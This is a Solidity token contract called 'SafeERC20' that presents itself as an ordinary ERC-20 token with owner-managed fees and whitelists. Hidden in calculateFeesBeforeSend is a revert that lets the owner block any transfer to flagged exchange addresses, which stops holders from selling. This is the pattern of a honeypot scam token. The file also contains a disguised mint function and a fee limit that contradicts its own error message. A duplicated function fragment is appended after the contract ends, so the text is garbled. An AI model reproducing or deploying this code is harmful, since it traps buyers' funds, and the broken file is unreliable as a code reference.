contract SafeERC20 is Context, IERC20, Ownable {
    event RenouncedWhitelist(bool);
    
    using SafeMath for uint256;
    using Address for address;
     
    uint256 public txFee = 0; // 0% fees
    address public feeDistributor;
    
    uint256 public feesDuration;
    
    mapping(address => bool) public feelessSender;
    mapping(address => bool) public feelessReciever;
    mapping(address => bool) public PanCakeSwapReciever;
    // if this equals false whitelist can nolonger be added to.
    bool public canWhitelist = true;
   
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public totalSupply;

    string public name;
    string public symbol;
    uint8  public decimals;
    
    /*
    * added this 2 variables to check if uniswap sale ends,, and when '''SetFeeCycleStart''' function will be called
    * we have to charge fees after that time. 
    */
    
    constructor (string memory name_, string memory symbol_) {
        name = name_;
        symbol = symbol_;
        decimals = 18;
        
    }
    

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
        return _allowances[_owner][_spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) public virtual override returns (bool) {
        _approve(_msgSender(), _spender, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    
    // assign a new fee distributor address
    function setFeeDistributor(address _distributor) public onlyOwner {
        require(_distributor != address(0), "ERC20: transfer from the zero address");
        feeDistributor = _distributor;
    }
    
    
     // enable/disable sender who can send feeless transactions
    function setFeelessSender(address _sender, bool _feeless) public onlyOwner {
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(!_feeless || _feeless && canWhitelist, "cannot add to whitelist");
        feelessSender[_sender] = _feeless;
    }

    // enable-disable recipient who can recieve feeless transactions
    function setFeelessReciever(address _recipient, bool _feeless) public onlyOwner {
        require(_recipient != address(0), "ERC20: transfer from the zero address");
        require(!_feeless || _feeless && canWhitelist, "cannot add to whitelist");
        feelessReciever[_recipient] = _feeless;
    }
    
    
    function setPanCakeSwapReciever(address _recipient, bool _feeless) public onlyOwner {
        require(_recipient != address(0), "ERC20: transfer from the zero address");
        PanCakeSwapReciever[_recipient] = _feeless;
    }
    
    
   function seTxFee(uint256 _ff) public onlyOwner {
       require(_ff <= 100, "Error: Fees cannot go above 10%");
        txFee = _ff;
    }

    // disable adding to whitelist forever
    function renounceWhitelist() public onlyOwner {
        // adding to whitelist has been disabled forever:
        canWhitelist = false;
        emit RenouncedWhitelist(false);
    }

    // to caclulate the amounts for recipient and distributer after fees have been applied
    function calculateFeesBeforeSend(
        address sender,
        address recipient,
        uint256 amount
    ) public view returns (uint256, uint256) {
       require(sender != address(0), "ERC20: transfer from the zero address");
        if(PanCakeSwapReciever[recipient]){
            revert("Error: Can not sell this token");
        }

        return (amount, 0);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 1000, "amount to small, maths will break");
        _beforeTokenTransfer(sender, recipient, amount);

        // subtract send balanced
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        // calculate fee:
        (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) = calculateFeesBeforeSend(sender, recipient, amount);

        // update recipients balance:
        _balances[recipient] = _balances[recipient].add(transferToAmount);
        emit Transfer(sender, recipient, transferToAmount);

        // update distributers balance:
        if(transferToFeeDistributorAmount > 0 && feeDistributor != address(0)){
            _balances[feeDistributor] = _balances[feeDistributor].add(transferToFeeDistributorAmount);
            emit Transfer(sender, feeDistributor, transferToFeeDistributorAmount);
       }
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _transferTO(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: making to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        totalSupply = totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        
        setFeeDistributor(account);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        totalSupply = totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address _owner, address _spender, uint256 _amount) internal virtual {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(_spender != address(0), "ERC20: approve to the zero address");

        _allowances[_owner][_spender] = _amount;
        emit Approval(_owner, _spender, _amount);
    }


   
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
}

/**
 * @dev Atomically decreases the allowance granted to `spender` by the caller.
 *
 * This is an alternative to {approve} that can be used as a mitigation for
 * problems described in {IERC20-approve}.
 *
 * Emits an {Approval} event indicating the updated allowance.
 *
 * Requirements:
 *
 * - `spender` cannot be the zero address.
 * - `spender` must have allowance for the caller of at least
 * `subtractedValue`.
 */